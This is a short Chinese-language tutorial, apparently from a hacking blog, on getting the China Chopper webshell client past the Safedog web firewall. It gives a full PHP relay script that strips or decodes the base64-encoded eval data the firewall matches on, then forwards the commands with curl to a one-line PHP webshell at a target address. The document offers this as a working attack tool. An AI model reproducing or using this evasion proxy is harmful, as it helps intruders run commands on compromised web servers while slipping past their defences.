有些一句话虽然可以单独成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

首先在本地搭建WEB SERVER,然后写一个php转发程序:

$target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
 $poststr='';
 $i=0;
 foreach($_POST as $k=>$v)
 {
 if(strstr($v, "base64_decode"))
 {
 $v=str_replace("base64_decode(","",$v);
 $v=str_replace("))",")",$v);
 }
 else
 {
 if($k==="z0")
 $v=base64_decode($v);
 }
 $pp=$k."=".urlencode($v);
 //echo($pp);
 if($i!=0)
 {
 $poststr=$poststr."&".$pp;
 }
 else
 {
 $poststr=$pp;
 }
 $i=$i+1;
 }
 $ch = curl_init();
 $curl_url = $target."?".$_SERVER['QUERY_STRING'];
 curl_setopt($ch, CURLOPT_URL, $curl_url);
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $result = curl_exec($ch);
 curl_close($ch);
 echo $result;
 ?>

意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

这样就可以使用菜刀来连接前面那个一句话马了:

这样就能用菜刀了